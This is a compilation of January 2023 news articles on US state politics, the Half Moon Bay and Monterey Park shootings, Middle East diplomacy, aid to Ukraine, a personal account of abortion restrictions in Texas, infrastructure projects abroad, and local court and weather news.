Pat Grassley did not respond to a request for comment. Elzinga says conservative Republicans in the Iowa legislature have been pushing for Medicaid work requirements and welfare reforms for the past several years. But going after food stamps clearly has less to do with saving the state money than with making a point.

It is ideological, Elzinga said.

It is also shameful.

And it becomes more so when you consider that the Grassley family farm has received some $1.75 million in federal subsidies over the past two decades. More than $1 million of it was classified as commodity subsidiessomething the government pays farmers to make up the difference when the free market crop price fails to reach the effective reference prices' established by Congress. The eligible crops include corn and soybeans, which the Grassleys grow on their 750 acres in Butler County.

A photo that Pat Grassley posted on Facebook on Jan. 9 shows his grandfather swearing him in for his eighth term in the Iowa legislature. The younger Grassley then got to work restricting a food benefit for the poor that he calls an entitlement program.

Read more at The Daily Beast.

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JERUSALEM (AP)  Israeli Prime Minister Benjamin Netanyahu made a surprise trip to Jordan on Tuesday to meet with King Abdullah II for the first time in over four years, seeking to shore up ties that have strained since he took office at the helm of Israel's most right-wing government in history.

The rare meeting between the leaders, who have long had a rocky relationship, comes as tensions grow over Israels new ultranationalist government, which took office late last year. The talks centered around the status of a contested holy site in the Old City of Jerusalem sacred to both Jews and Muslims, an emotional issue at the heart of the conflict between Israel and the Palestinians, Jordan's official statement indicated.

Jordan's royal court said the king urged Israel to respect the status quo at the sacred compound, which Muslims call the Noble Sanctuary and Jews call the Temple Mount. The compound  the third-holiest site in Islam  sits on a sprawling plateau also home to the iconic golden Dome of the Rock.

Under an arrangement that has prevailed for decades under Jordan's custodianship, Jews and non-Muslims are permitted visits during certain hours but may not pray there. But Jewish religious nationalists, including members of Israel's new governing coalition, have increasingly visited the site and demanded equal prayer rights for Jews there, infuriating the Palestinians and Muslims around the world.

In Tuesday's meeting, King Abdullah II also pushed Israel to stop its acts of violence that are undermining hopes for an eventual peaceful settlement to the decadeslong Israeli-Palestinian conflict, the Jordanian government added, reaffirming its support for a two-state solution. Israel's new coalition has vowed to expand Jewish settlements in the occupied West Bank and even annex the territory, making a future independent Palestinian state unviable.

Netanyahus office said he discussed regional issues and security and economic cooperation with Jordan, a key regional ally. Jordans 1994 treaty normalizing ties with Israel produced a chilly-at-best peace between the former enemies.

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The Jordanian government has already summoned the Israeli ambassador to Amman twice in the last month since Israel's new government took office  both times after an incident at the Al-Aqsa Mosque compound. Netanyahu has repeatedly offered assurances that there has been no change in the status quo at the site.

Earlier this month, Israels new hard-line minister of national security, Itamar Ben-Gvir, made a provocative visit to the site, drawing condemnations from Jordan and across the Arab world. Jordan also protested to Israel after Israeli police briefly blocked the Jordanian ambassador from entering the Al-Aqsa Mosque, decrying the move as an affront to Jordan's role as custodian.

The compound is administered by Jordanian religious authorities as part of an unofficial agreement after Israel captured east Jerusalem, along with the West Bank and Gaza, in the 1967 Mideast war. Israel is in charge of security at the site. Because of Jordans special role and the sites importance to Muslims around the world, whatever happens at the site has regional implications.

The site emerged as a major flashpoint between Israel and the Muslim world in 2017, when Israel placed metal detectors, cameras and other security measures at entrances to the compound in response to a deadly Palestinian attack there. After days of some of the worst Israeli-Palestinian clashes in years, Jordan helped resolve the crisis.

Over the years, the neighbors have maintained a crucial security alliance, buttressing Jordans position as a partner of the West in one of the worlds most volatile regions.
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European Union (EU) military assistance to Ukraine will be topped up by a further 500 million euros ($543 million), foreign ministers agreed on Monday.

Training for the country's military worth 45 million euros has also been agreed, EU foreign chief Josep Borrell said.

"This is the seventh package of military aid for Ukraine," Borrell told a press conference after the EU foreign ministers' meeting.

This brings the total amount of military financial aid to Ukraine financed through the European Peace Facility to 3.6 billion euros. Meanwhile, total EU support for the country is now approaching 50 billion euros, making the EU the leading provider of aid to Ukraine.

Russia has repeatedly said that the supply of Western weapons to Ukraine does not help resolve the conflict but prolongs the suffering of the Ukrainian people.

The ministers also discussed the situation in Iran, reaching an agreement on a fourth package of sanctions on 37 Iranian officials, high-level figures and organizations. These include units of the powerful Revolutionary Guard Corps.

Among the persons subject to sanctions are representatives of the government and Iranian parliament, important political and media figures, and high-ranking members of the Iranian security forces.

However, Borrell said that Iran's Revolutionary Guard Corps could not be listed as a terrorist group without a court decision.
Mark Rutte

We leased them, which means we can buy them, which means we can give them away, said Rutte.

Read also: Dutch foreign minister says Netherlands may transfer F-16 fighter jets to Ukraine

The PM said his country is ready to consider this decision in coalition with other countries, such as Finland and Portugal. Rutte added that there is no decision yet, but noted that this is an important signal.

Read also: Washington is getting ready to send Abrams tanks to Ukraine

Citing an unnamed Ukrainian official, ABC news previously reported that representatives of 12 countries agreed to supply Ukraine with around 100 German-made Leopard-2 tanks, pending Germanys approval.

Earlier on Jan. 24, The Wall Street Journal reported Washington is leaning towards supplying Ukraine with a significant quantity of Abrams M1 main battle tanks, with the corresponding announcement expected within days.

Read the original article on The New Voice of Ukraine
This is an excerpt from Incoming, BuzzFeed News morning newsletter dedicated to making sense of this chaotic world we live in. Join the club here.

At least seven people were killed in a shooting in Half Moon Bay, California

Law enforcement personnel control the scene of a shooting on Jan. 23, in Half Moon Bay, California. Jeff Chiu / AP

A shooter killed at least seven people at a mushroom farm and another location in Half Moon Bay, California, on Monday, local officials said.

The San Mateo County Sheriff's Office identified the shooter as Chunli Zhao. The motive is unknown at this time, but police believed he acted alone. Zhao, 67, was taken into custody Monday afternoon.

According to San Mateo County Sheriff Christina Corpus, deputies were dispatched at 2:22 p.m. Monday and found four people dead from gunshot wounds as well as another person with life-threatening injuries. Deputies then discovered three more bodies at a separate scene about a mile away. Zhao is believed to have worked at one of the plant nurseries, and the victims may have as well, Corpus said.

The shooting came just two days after a 72-year-old man killed 11 people at a dance studio in Monterey Park, a predominantly Asian American suburb of Los Angeles. California Gov. Gavin Newson tweeted that he was at a hospital meeting with victims of the Monterey Park shooting when he got word about the Half Moon Bay mass shooting .

David Pine, president of the San Mateo County Board of Supervisors, said during a news conference, We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop.  The status quo cannot be tolerated."

The Monterey Park mass shooting

Some of the Monterey Park shooting victims have been identified. Here's what we know about them. My Nhan, 65; Lilan Li, 63; Xiujuan Yu, 57; and Valentino Alvero, 68, were identified by the coroners office on Monday. Friends also said Ming Wei Ma was one of the victims who was killed while trying to stop the shooter. The other victims have not been identified, but the coroners office said they were in their 60s and 70s.

After fleeing Star Ballroom Dance Studio, the shooter traveled to another dance studio in Alhambra, Lai Lai, but was forcibly disarmed by the owners son as he walked into the building. Brandon Tsay lunged at the shooter and grabbed the weapon, and surveillance video shows a violent struggle between them ensued. "Something came over me. I realized I needed to get the weapon away from him," Tsay told Good Morning America. "I needed to take this weapon, disarm him, or else everybody would have died."

Members of Asian American and Pacific Islander communities reacted to the Monterey Park mass shooting with outrage and heartbreak. Michelle Yeoh, Simu Liu, Daniel Dae Kim, and others mourned the incident, which took place in a majority-AAPI area.

Story continues

SNAPSHOTS

The FDA may simplify COVID vaccines to a single annual shot for many people. The annual shots could be designed to match whatever variant of COVID is currently circulating, much in the same way a new flu vaccine is formulated every year. A vaccine advisory committee will discuss and presumably approve the new strategy on Thursday.

The family of a 20-year-old hazing victim will receive nearly $3 million from Bowling Green State University to settle a lawsuit. Since the incident, Bowling Green State University hired a hazing prevention coordinator and put steps in place to make it easier for students to tell the school about hazing. A new state law was also passed in Ohio that created tougher criminal penalties for hazing.

Elizabeth Holmes denied that she tried to flee to Mexico after her conviction. The governments newfound claim that Ms. Holmes attempted to flee is baseless, her attorneys said . A representative with the Department of Justice told BuzzFeed News they had no comment.

Beyonce put on her first live show in four years at a luxury resort soft launch in Dubai. Many criticized the singers decision to perform in the United Arab Emirates, a country with clearly defined laws criminalizing same-sex relationships.

IMAGE OF THE DAY

A reveler wears a local Carnival costume during the parade of "Carnaval de Sainte-Rose" in Sainte-Rose, Guadeloupe, on Jan. 22, 2023. Pascal Rossignol / Reuters

I tried a flip phone for a week for my mental health

Gabby Jones for BuzzFeed News

My average screentime is eight hours and 44 minutes a day, Fjolla Arifi writes . I spend more time on my phone using apps like TikTok, Instagram, and Twitter than I do sleeping. Being online is an instinctive reaction to my raging FOMO. What if my friends make plans without me? What if a Frank Ocean album drops? A new strain of COVID I should be aware of?

But in general, experts recommend that you spend at least three to four hours daily without any screentime; long periods of screentime or social media time are associated with higher risks of digital eye strain, poor sleep, and even anxiety and depression. So I decided to lock my smartphone away for the week and replace it with a Motorola Razr V3xx.

My anxiety kicked in immediately: I assumed I was missing out on an event. But when I spoke to Lindsay Bira, a clinical health psychologist, she told me that was kind of the point . Being alone or out of the loop can be read by the deep brain as a survival threat when it really isn't a threat, and the real problem might be overusing social media or being attached to people and content that makes us feel bad, Bira said.

It is important to learn how to tolerate the feeling of being disconnected or left out until our brain understands that it is not a problem, which allows us to self-regulate without reaching for the phone, and we develop a deeper, healthier connection to ourselves.

Still reading, eh? Seems like you might want to get this in your inbox. No pressure though. Just some food for thought.
New Hampshire cities and towns would be allowed to set their own rent controls on large developments  including limitations on how quickly rents could rise  under a bill proposed in the House this year.

House Bill 95 would allow municipalities to cap the amount that certain landlords can increase rents and allow the municipalities to choose the limit they wanted.

The bill would also allow cities and towns to require a certain amount of time to pass before landlords could increase a tenants rent. Currently, state law requires at least 30 days notice; the proposed bill would allow cities to increase that.

Protesters stand in solidarity against rent hikes in downtown Newmarket Saturday, Sept. 10, 2022.

Sponsored by Rep. Ellen Read, a Newmarket Democrat, the bill would allow towns to introduce such controls only on what are known as restricted properties. They could not pass controls on non-restricted properties, defined in state law as single-family homes whose owner does not own more than three homes; rental properties in buildings with fewer than five units; or single-family homes acquired by banks through foreclosure.

Speaking at a hearing last week, Read said the bill was meant to address the major, major housing crisis facing the state.

It is truly an emergency. People are getting pushed out of their homes, but not just their homes. Theyre getting pushed out of entire towns  entire regions. And once youre pushed out of a region, you are pushed out of your job, for most people.

Read cited a case in her town of Newmarket when a developer bought a multi-family housing property in 2022 and then raised rents on its tenants. The move prompted tenants in eight of the 14 total units to move elsewhere, citing the rental increase, New Hampshire Public Radio reported.

To specifically go into the business of displacing people out of their homes for profit, I find to be predatory, she said.

Previous story:Protesters call out Seacoast landlords as apartment rent surges

The bill is intended to allow towns to set in place rent stabilization measures, Read said. She argued that towns are more nimble than the Legislature in creating policy and could reverse or ease any rent controls created should the bill pass. And she predicted that few towns would seek aggressive rent controls anyway, given that that could restrict property sales and valuations and reduce tax revenue.

Story continues

Who are we in Concord to say Newmarket doesnt know whats in Newmarkets best interest, even though Newmarket would have the ability to quickly repeal that? she asked.

In Polrtsmouth:Former Sherburne School site could see 80-160 affordable housing units

Opponents of NH rent control bill say it could worsen problem

Some lawmakers appeared skeptical.

Rep. Josh Yokela, a Fremont Republican, raised concerns that the legislation would enable towns to pass rent controls through bylaws  which dont need community approval  rather than through warrant articles or ballot initiatives, which do. Read said the nature of the housing crisis caused her to prefer an approach that allowed towns to move quickly.

Theyre not at all predisposed to doing this. In fact, I imagine its going to take quite the crisis in any given town before a town council or a select board is going to do something like this.

The New Hampshire Association of Realtors is opposed to the bill. Realtors certainly recognize the impetus behind this legislation, said Joanie McIntire, president of the New Hampshire Association of Realtors, pointing to low vacancy rates and high rents that she said were pricing many low and middle-income tenants out.

However, we think this bill could make matters worse by constraining the housing supply even further, she added. If passed, the bill would lead to a patchwork of ever-changing local ordinances, which would discourage new construction and increase rents for tenants in towns that didnt have rent stabilization, McIntire argued.

McIntire pointed to other tools she said communities should use to encourage affordable rental housing, such as providing property-tax breaks for new developments that meet affordable housing standards. The best way to address affordable housing and rental crisis is to encourage a higher density of apartments, McIntire said.

But others are supportive. Kerstin Cornell, a staff attorney at New Hampshire Legal Assistance, said she has worked with low-income tenants facing eviction, and has seen cases where rents were doubled by landlords. Some of those tenants are leaving the state, Cornell said.

This is resulting in not only homelessness, and not only people having nowhere to go; its also resulting in deaths, she said.

Cornell argued the bill would help communities balance their financial needs with the states welfare statute, which requires cities and towns to address people in need in their towns.

Need an affordable home?:What to know about cottages in Dover under construction now

Jane Haigh, a member of the Manchester Housing Alliance, an activist group, argued that increasing rental units alone would not solve the immediate problem.

The idea that if all these units come online rents will suddenly become more affordable is really magical thinking, she said. Frankly, the affordable units dont pencil out, and I think were going to have to come up with systems to really subsidize developers to build more.

In the meantime, Haigh added, people are being pushed out of their apartments and are living in cars, if they have a car, or on couches if they have a friend.

The bill will receive a vote in the committee at a later date, with a vote on the House floor to follow.

This story was originally published by New Hampshire Bulletin.

This article originally appeared on Portsmouth Herald: NH rent control bill: Tenants would be protected from big price hikes
ABUJA, Nigeria (AP)  Nigerian President Muhammadu Buhari has marked the opening of a $1.5 billion, Chinese-funded deep seaport in the commercial hub of Lagos that authorities hope will help grow the West African nation's ailing economy.

The Lekki Deep Sea Port is one of the biggest in West Africa and will create hundreds of thousands of jobs in addition to easing cargo congestion that costs billions of dollars in annual revenue, Lagos Gov. Babajide Sanwo-Olu said Monday.

The port  whose container terminal is able to handle at least 2.5 million 20-foot standard containers per year  will be operated as a joint venture between the Nigerian government, Lagos state, Singapore-based Tolaram Group and state-owned China Harbor Engineering Company. Both foreign companies own a majority stake of 75% in the project.

Nigeria is Africas largest economy but growth has been stalled for many years because of poor infrastructure and mismanagement. Although it has six major seaports, more than 80% of the country's imports are handled by just two of the ports in Lagos, where congestion has led to a massive loss in revenue as cargoes are often diverted to other West African nations.

Authorities say the new deep seaport on the eastern edge of Lagos would divert traffic from congested ports and shore up earnings, with expected economic benefits of more than $360 billion.

Experts, however, argue it would make a minimal difference if existing pitfalls are not removed, including ensuring connections between ports and inland areas.

There is poor and underinvested rail network connectivity, and the roads are not in top-notch condition," said Ayotunde Abiodun, an economic analyst with the Lagos-based SBM Intelligence firm. Also, the automation of processes at the port must be prioritized.

As the port begins to operate with the first commercial vessel arriving Sunday, the Lagos governor said ships docking at the port "could be up to four times the size of vessels that currently berth at both Tin Can and Apapa ports, the other two ports in Lagos.

Story continues

The project would drive economic development not just for Lagos but for the entire country, according to Cui Jianchun, Chinese ambassador to Nigeria.

This is (the) engine of the economy not only for (the) governor of Lagos but also for the Federal Republic of Nigeria," Jianchun said. This is equity of investment. This is not a loan, this is not borrowing  this is investment."

Agriculture and trade are key drivers of Nigerias economy, but widespread insecurity in the agricultural-rich north, dwindling foreign direct investments and endemic corruption have slowed economic growth amid reduced earnings from crude oil.

The government has turned to international lenders and funders to help grow the economy through critical projects, among them China, whose footprint are on some of Nigerias most important infrastructure such as rail networks and airport terminals.

The port has immense potential for the economy of Nigeria, which is battling a 33% unemployment rate and an ailing economy, said Abiodun, the analyst who added that industry players must work together for this to happen.

In the maritime sector, there needs to be interagency engagement on important issues affecting industry operators," Abiodun said. A more troubling challenge has been the focus of these agencies on revenue generation rather than on value service delivery. This needs to change.
The public learned, in graphic detail, exactly how far the harms of abortion bans reach after the Supreme Court overturned Roe v. Wade last June. It seemed like every week, patients and doctors were coming forward to talk about women who developed life-threatening sepsis or filled diapers with blood before they were finally able to get abortions. Some never got that care, like a Louisiana woman who was forced to deliver her nonviable fetus, and cancer patients who had to delay their chemotherapy. Another womans fetus didnt have a skull, and still she had to travel 1,400 miles to get an abortion. These stories dominated the headlines for months. Recently, we caught up with one of the women who shared hers.

Elizabeth Wellers water broke at 18 weeks into her pregnancy, long before a baby could survive. It was May 2022 in Houston, Texas, where a six-week abortion ban was in effect. The Wellers wanted to end the pregnancy rather than have their baby suffer, but there was still a heartbeat. The hospital told Weller she basically had two options: wait for the fetus to die inside her, or wait to develop a life-threatening uterine infection from the lack of amniotic fluid. Only then could the hospital end the pregnancy under the laws medical emergency exception.

Read more

As Weller waited at home, her health deteriorating, the hospital told her by phone she wasnt sick enough yet. Then, when she had dark, foul-smelling discharge, she called her doctor, who told her to go to the ER right away. She felt so gaslit by the situation that she brought a piece of toilet paper with the discharge as evidence in case they didnt believe her. She didnt end up needing it, as the hospital ethics panel finally determined she could be induced. Weller decided to share her story on the record with NPR soon after.

Story continues

Weller, 27, recently graduated with a masters in political science, and has been having hard conversations with her husband about their plans for children and for staying in the state. Heres what she had to say.



This transcript has been lightly edited for length and clarity.







I remember sitting in my hospital bed thinking about how, the semester before this happened, I had taken a media class in politics. In that class, they told us that the literature has found that when conservatives see anonymous sources, they predominantly think, Oh, this source was made up by the reporter. I didnt want that to happen. I didnt want this to be another thing where something horribly tragic and very personaland I think an issue that other women are going to have to facewould give people a reason to say, This is a fake issue.



I come from a really conservative family. For me, finding my own voice and challenging my parents was a warm up, because when it came time, I was well-versed in how to speak to other individuals who are conservative and get them to understand that this necessitated empathy. Still, after talking about my abortion, I did see some comments on the story saying, This isnt real. I would have to restrain myself from sharing the picture of my daughter. I have a picture of her when she was deliveredshes very, very small, very red. Thats my personal picture, but there were times where I just wanted to shove it in this persons face.



I grew up thinking women should have access to abortion, but I wouldnt personally have one. This experience definitely made me very supportive of abortion, point blank. This is what happens when you try to outlaw abortion. These are the consequences. I brought toilet paper with discharge on it when I went back to the hospital in case they didnt believe me. Its flabbergasting. We shouldnt have to do that. We shouldnt have to bring our own bodily fluids for them to believe that were getting sick. Death is trying to take us, and we shouldnt have to prove that to people.



Am I going to go through another miscarriage? And if I do, is the same thing going to play out in front of me again? Its terrifying.

Now, Im 100 percent supportive of any woman who seeks out an abortion. We dont need to be telling people how to approach these choices. It should be up to them and only them. When you look at the polls about American society today, people dont actually want to go back to such a conservative lifestyle either.



What I felt like was a stab in the back, in the weeks leading up to the midterm election, was a lot of talk about Democrats overplaying their hand with abortion. I was just like, Shut up. Dont say that. If you say that, people fall in linethey start downplaying it. When the abortion ballot measures passed, it was really good to at least feel like thats still the pulse of the United States. It was also disappointing to see that it didnt translate into anything meaningful here in Texas with races for Governor and state house.



I think all women should be disappointed with how this country has let us down. We had all this time to codify Roe, and we didnt, and its the fault of both parties, Democrats and Republicans. Some of my family members who are Republican voters thought that Roe v. Wade would never be overturned. Then when it happened, they switched to supporting the Democratic candidates. Weve let women down because its easier to use this as a way to get people to vote for you than it is to actually do something meaningful.



Its angering, and I dont know how to do more to stop it. And thats also what makes me feel helpless.







After coming out for the first time with the NPR article, I was very busy. It was a lot of activism for about four months up until the election in November. Since then, its been a nice calm. Ive been allowed to recover and start the healing process. Its been a little bit like waves of depression here and there, but its gotten a lot better.



I have a little corner in my house where I put my daughters urn and where I have a little frame of her footprints, her sonogram, and some letters that we got from the hospital. Every now and then, I go over there and I look at it, and I tell her how much I miss her. This was the first Dia de los Muertos that I actually celebrated. I did the whole thing for her, the altar and everything.



I do know that shes at least changed somebodys mind, and I can say Im a really proud mom for that.

Im now reflecting on, well, what does life look like after this? Do I try to get pregnant again after working for a year? And if I do, what does that look like? Am I going to go through another miscarriage? And if I do, is the same thing going to play out in front of me again? Its terrifying. There are days where I think yeah, Im definitely going to try for a kid again. But then there are days where I just cant imagine even attempting to take that on again. I find myself having to ask, Do I really want a child anymore if it means having to go through the possibility of miscarriage after miscarriage after miscarriage, like Ive heard from other women? If it gets to that point again, how much of this am I willing to see myself go through?



My husband and I talked about leaving Texas. My mom was born and raised in Mexico, and my dads familys Indigenous, so my family has been in Texasor at least the area that has always been Texas and just south of the borderfor centuries. If I moved out of Texas, I would be the first one. I dont want to have to leave here, you know? I dont want to have to leave my family and my friends, whatever life that Ive made in Texas, just because the state doesnt want to regard me as someone who has autonomy over their own body.



Graduating in December was a very much needed positive for this last yearit felt like a different way of healing. It allowed me to feel like I had accomplished something and say, Okay, finally I can think about the next chapter in my life now that I have this degree and got something that I really wanted and was able to end such a horrible year on such a high note. At the end of the day, Im still standing.



As horrible as it was, I am at least grateful to see this transformation in realizing how strong I can be as an individual, and Im really grateful for my daughter for being able to show me that. She has given me the power to appreciate my inner strength, and shes giving you the power to show other women that they are just as strongthat they can say these things and put themselves out there. I do know that shes at least changed somebodys mind, and I can say Im a really proud mom for that.



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South Dakota Gov. Kristi Noem (R) said on Monday that her personal cellphone number has been hacked and used to make hoax calls.

Noem said her phone was hacked following the release of her and her familys personal information, including her social security number, by the House Jan. 6 committee.

Callous mishandling of personal information has real world consequences, Noem said in a statement. If you get such a phone call from my number, know that I had no involvement.

Noem said she has asked U.S. Attorney General Merrick Garland and Congress to investigate the leak.

Earlier this month, nearly 2,000 Social Security numbers of former President Trumps closest allies, including Cabinet members and Republican governors, were inadvertently disclosed in a spreadsheet that the committee posted along with a number of other records. The document has since been taken down.

Noem is also one of several state lawmakers to have recently ordered a ban on TikTok on state government-issued devices, citing national security concerns over the apps Chinese-based parent company ByteDance.

For the latest news, weather, sports, and streaming video, head to The Hill.
EVANSTON, Ill. (AP)  Boo Buie had 20 points, seven rebounds and five assists, Chase Audige added 16 points and Northwestern returned from an eight-day COVID-19 pause to beat Wisconsin 66-63 on Monday night.

Neither team led by more than four points in the second half with 16 lead changes. Wisconsin struggled down the stretch, making just one of its final 10 shots from the field.

Matthew Nicholson, a 45.6% free-throw shooter, made two free throws with 2:18 remaining to give Northwestern a 64-62 lead. Neither team would score again until Robbie Beran, an 83% free-throw shooter, added two more at the stripe with 26.5 seconds left to give the Wildcats a two-possession lead.

Wisconsin missed 3-pointers on back-to-back possessions before Chucky Hepburn was fouled on a 3-pointer with 0.6 seconds left. Hepburn missed the first free throw, made the second and intentionally missed the third, but Nicholson secured the rebound.

Nicholson finished with seven points and six rebounds for Northwestern (13-5, 4-3 Big Ten). The Wildcats snapped a seven-game losing streak in the series with its first win against Wisconsin since Feb. 1, 2018.

Jordan Davis scored a career-high 15 points for Wisconsin (12-6, 4-4). Hepburn added 12 points, Tyler Wahl 11 and Connor Essegian 10.

Carter Gilmore tipped in a miss just before the halftime buzzer to get Wisconsin within 32-26 at the break and the Badgers started the second half on an 8-0 run to take their first lead since 2-0.

Northwestern hadnt played since Jan. 18. The Wildcats play at Nebraska on Wednesday and against Minnesota on Saturday.

___

More AP college basketball: https://apnews.com/hub/college-basketball and https://apnews.com/hub/ap-top-25-college-basketball-poll and https://twitter.com/AP_Top25
 Flash

Journalists take selfies on a train of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Turkiye, Jan. 22, 2023. [Photo/Xinhua]





A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour.



"This 800,000 daily capacity metro line will allow travel from Kagithane Station to the Istanbul Airport in 24 minutes," said Turkish President Recep Tayyip Erdogan during the opening ceremony.

The fully-automated, driverless trains were built by Chinese company CRRC Zhuzhou Locomotive Co., Ltd. (CRRC ZELC), which signed a purchase and commissioning contract with Turkiye's Directorate-General of Infrastructure Investments back in January 2020.

The 34-kilometer metro line between the Kagithane Station in central Istanbul and the city's new international airport boasts Turkiye's fastest trains, and the vehicles running the line are China's first 120km/h automated driverless metro project for the overseas market, according to CRRC ZELC.

The contract was for 176 subway cars and required a 60 percent localization rate in Turkiye.

Haluk Oguz, a management specialist at CRRC ZELC's subsidiary in Turkiye, told Xinhua that they have delivered 40 vehicles. "Work on the other 136 is ongoing," he said, adding "they will be manufactured at our factory in Ankara."

Faruk Bostanci, administrative affairs chief at CRRC Turkiye, said that "new additions (to the line), which will be made as manufacturing continues, will increase the train frequency and provide a faster, more convenient transportation network for Istanbul residents."

After trying out the train, Istanbul resident Emirhan Ersoy praised the new vehicles. "Both the heating system and the visual screens are very nice, and the sound system works very well," he said, adding that the high capacity of the cabins was another point of distinction.

The vehicles operate in a 4-car formation with a maximum capacity of 1,100 passengers. The exterior of the trains is decorated with Turkish cultural elements such as tulip motifs.

Yalcin Eyigun, general manager of the Directorate-General of Infrastructure Investments at Turkish Transportation and Infrastructure Ministry, praised the Chinese partner for overcoming all kinds of difficulties during the project despite the COVID-19 pandemic-related setbacks.

Over the past decade, CRRC ZELC has supplied more than 400 metro vehicles to Turkiye, which are now operating in its three largest cities, namely Istanbul, Ankara, and Izmir.

Zhou Qinghe, chairman of the board of the CRRC ZELC, said that his company is willing to strengthen cooperation with Turkiye and write new chapters of "shared growth through discussion and collaboration."
A nurse accused of hitting and killing a U.S. Navy chief petty officer with his car after a dispute at a Virginia Beach bar in July was indicted this month on new charges.

Joshua Ceruti Robinson was initially charged with malicious wounding, which carries a maximum sentence of 20 years in prison, after police said he hit 40-year-old Stephen Tyler Murphy with his car. A grand jury indicted him on one count each of involuntary manslaughter and hit-and-run, which both carry maximum sentences of 10 years, according to Macie Allen, a spokesperson for the Virginia Beach commonwealths attorney.

The malicious wounding charge was dropped last week.

Police said Murphy was in a dispute with Robinson in the early morning hours of July 5 just after they had left the CP Shuckers Cafe and Raw Bar on Shore Drive near the Lynnhaven Inlet. The two were riding together in a car driven by Robinson and were accompanied by another passenger, Lindsey Chapman, according to court documents.

Robinson told police Murphy assaulted him while he was driving, prompting Robinson to pull over and tell Murphy to get out of the vehicle. Once out of the vehicle, Robinson ran over Murphy, the court documents say.

Taite Westendorf, Robinsons attorney, said the change in charges means the prosecutors abandoned proving malice in the case, instead aiming to prove a callous disregard for human life.

Westendorf said the only new evidence hes seen since his clients arrest is surveillance footage from CP Shuckers, which he said shows Murphys actions in the bar prior to the dispute with Robinson. Westendorf is also expecting to receive evidence taken from a Fitbit Murphy was wearing at the time of his death.

Robinson and Chapman, who are nurses at Childrens Hospital of The Kings Daughters, are described in court documents as having applied a tourniquet to Murphys injuries. But court documents say they did not take him to the hospital for an hour after he was run over. A doctor told investigators Murphy was brain dead by the time he got to the hospital.

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Police also accused the pair of making false statements. Robinson and Chapman initially reported that Murphy was already injured when they found him, but Robinson later admitted to police that this wasnt true, according to court documents.

Chapman is charged with being an accessory after the fact and obstructing justice, both misdemeanors.

Murphy received many medals over the course of his career in the Navy, including two Navy and Marine Corps Commendation medals, according to his obituary. He was assigned to a reserve unit under SEAL Team Eighteen, and was promoted to chief petty officer in 2012. His most recent activity with the Navy included being deployed to Bahrain with Special Boat Team-20 from April 2021 to April 2022.

Gavin Stone, 757-712-4806, gavin.stone@virginiamedia.com
Mayor Adams went on the offensive Monday against critics who blasted his plan to use a cruise ship terminal to accommodate thousands of migrants whove flowed into the city, chiding them for minimizing the extent of the crisis.

I dont believe a lot of people are fully comprehending this is a crisis, he said during an unrelated press event in the Bronx. We utilized ships during COVID-19. People forgot that. We used ships to house people. We opened tents in Central Park during COVID-19. We had trailers in front of hospitals because the morgues were overwhelmed. When theres a crisis, you must use all your tools.

And right now, we are in a crisis  this moment, he added. And so when people analyze what we should do under normal circumstances, I respect that. But what I need for them to do is analyze how do you respond during a crisis?

Adams was responding to criticisms over his announcement Saturday to use the Brooklyn Cruise Terminal to house 1,000 single men relocated from another relief center along with newly arrived asylum seekers.

Since last spring, more than 41,000 migrants have come to the city, the vast majority of them from Central and South America.

But the Legal Aid Society and the Coalition for the Homeless said the new relief center in Brooklyn may not be the best way to go about addressing the issue.

Not only do we have concerns with the Humanitarian Emergency Response and Relief Centers ability to comply with the citys Right to Shelter obligations, but the forthcoming HERRC at the Brooklyn Cruise Terminal announced today is also in a high-risk flood zone, according to the citys own maps, and will needlessly expose future residents to the elements during some of the coldest months of the year, the groups said Saturday in a joint statement.

Instead of wasting more taxpayer dollars on HERRCs and jeopardizing the safety of migrants in need of relief, the city must utilize existing voucher programs, such as CityFHEPS, to help homeless New Yorkers move into permanent housing, thereby allowing shelters to accommodate new entrants.

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On Monday, Adams said that the city is compliant with right-to-shelter law and that if there are cases where it isnt, were hoping that the advocates will bring it to our attention.

He then attempted to put the onus of the conversation on groups like Legal Aid and Coalition for the Homeless.

Did any of those advocates write to the federal government to get the funding that we need? he asked. So for us to talk about those who are doing right, I want to know: All those who are critiquing my administration, show me the letter that you sent to the federal government saying this is wrong what youre doing to New Yorkers.
Russian invaders are evacuating families of their soldiers and officers from the 2nd Army Corps from Luhansk.

Source: General Staff of the Armed Forces of Ukraine

Quote: "The enemy's manpower has been reduced in certain Luhansk Oblast settlements over the last 10 days.

Moreover, it has become common practice for them to send mostly conscripted Russian military servicemen to the contact line, while professional soldiers try to stay as much as possible in the rear area."

Details: Besides, as the General Staff has reported, the Russian occupation administration in Luhansk is conducting the evacuation of soldiers' families from the 2nd Army Corps from the city to the territory of the Russian Federation.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!
The Oklahoma Supreme Court upheld a decision to strike an Oklahoma City council candidate from the ballot Monday.

Chris Cowden, who filed to run for city council in northwest Oklahoma City's Ward 2, was recently deemed by the Oklahoma County Election Board to not meet the voter registration requirements set by the Oklahoma City charter. The board voted in December to strike Cowden from the ballot because he had not been registered to vote within Ward 2 for at least a year.

Chris Cowden filed to run for Oklahoma City's Ward 2 council seat, but his candidacy has been challenged by incumbent Councilmember James Cooper over a voter registration requirement in the city's charter.

According to voter registration records, Cowden, 44, was registered to vote at an address in Nichols Hills until June 30, 2022, though he said he has lived in Ward 2 since 2017.

In December, Cowden told The Oklahoman the voter registration requirement wasn't a fair or relevant requirement to run for city council.

"Quite frankly to disqualify someone, simply because  my voter registration was not in the city, to suggest I don't have an entrance, is ridiculous," Cowden said at the time.

The Supreme Court decision confirms that Ward 2 Councilmember James Cooper, 40, will have only two opponents on the ballot Feb. 14. Business owner Weston Storey, 32, and Alexander DeShazo, 22, have also filed to run against Cooper.

James Cooper

This article originally appeared on Oklahoman: OKC Council candidate denied ballot access by Oklahoma Supreme Court
Most of central Oklahoma was in a winter storm warning Tuesday as bands of snow moved through the state.

Forecasters with the National Weather Service in Norman were anticipating 4 to 6 inches of accumulating snow on Tuesday. Snow began to fall in the Oklahoma City area around 9 a.m.

Updated NWS forecast: Western Oklahoma could see 8 inches of snow

The National Weather Service said late Tuesday morning that parts of western Oklahoma could see up to 8 inches of snow on Tuesday.

Here is our latest thinking regarding total snowfall accumulations through late tonight. These totals include snow that has already fallen. #okwx #texomawx pic.twitter.com/C4PRO1h6F3  NWS Norman (@NWSNorman) January 24, 2023

High school, college sports postponed due to weather

Many area schools have canceled in-person classes for Tuesday, which has a trickle-down effect on sporting calendars.

